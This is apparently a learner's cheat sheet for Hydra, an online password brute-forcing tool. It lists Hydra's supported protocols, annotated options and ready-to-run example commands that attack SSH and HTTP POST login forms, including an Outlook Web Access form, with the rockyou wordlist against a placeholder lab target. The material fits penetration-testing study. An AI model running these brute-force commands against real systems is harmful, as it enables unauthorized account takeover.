• Hydra is a brute force online password cracking program, a quick system login password “hacking” tool.

  • According to its official repository, Hydra supports, i.e., has the ability to brute force the following protocols:

    • Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, TeamSpeak (TS2), Telnet, VMware-Auth, VNC, and XMPP.

  • Please have a look hydra options we have

# known options
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -o FILE   write found login/password pairs to FILE instead of stdout
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -q        do not print messages about connection errors
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -w / -W TIME  waittime for responses (32) / between connects per thread (0)

# slightly newer for me
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect

# Never seen before
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
  -O        use old SSL v2 and v3
  -U        service module usage details
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Examples#

  • ssh: hydra -l <username> -P <full path to pass> MACHINE_IP -t 4 ssh
  • http-post-form:
# generic example
hydra -l <username> -P <wordlist> MACHINE_IP http-post-form "/index.php:username=^USER^&password=^PASS^:F=incorrect" -V

# string that it checks for an *invalid* login (by default). Invalid condition login check can be preceded by "F="
hydra -l admin -P /usr/share/wordlist/rockyou.txt MACHINE_IP http-post-form "/login.php:user=^USER^&pass=^PASS^:incorrect"

# successful condition login check must be preceded by "S=".
hydra -l admin -P /usr/share/wordlist/rockyou.txt MACHINE_IP http-post-form "/login.php:user=^USER^&pass=^PASS^&colon=colon\:escape:S=authlog=.*success"

hydra -l admin -P /usr/share/wordlist/rockyou.txt MACHINE_IP http-post-form "/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"

# Adding headers as well, but optional
hydra -l admin -P /usr/share/wordlist/rockyou.txt MACHINE_IP http-post-form "/:user=^USER&pass=^PASS^:failed:H=Authorization\: Basic dT1w:H=Cookie\: sessid=aaaa:h=X-User\: ^USER^"

hydra -l admin -P /usr/share/wordlist/rockyou.txt MACHINE_IP http-post-form  "/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domain>%5C^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"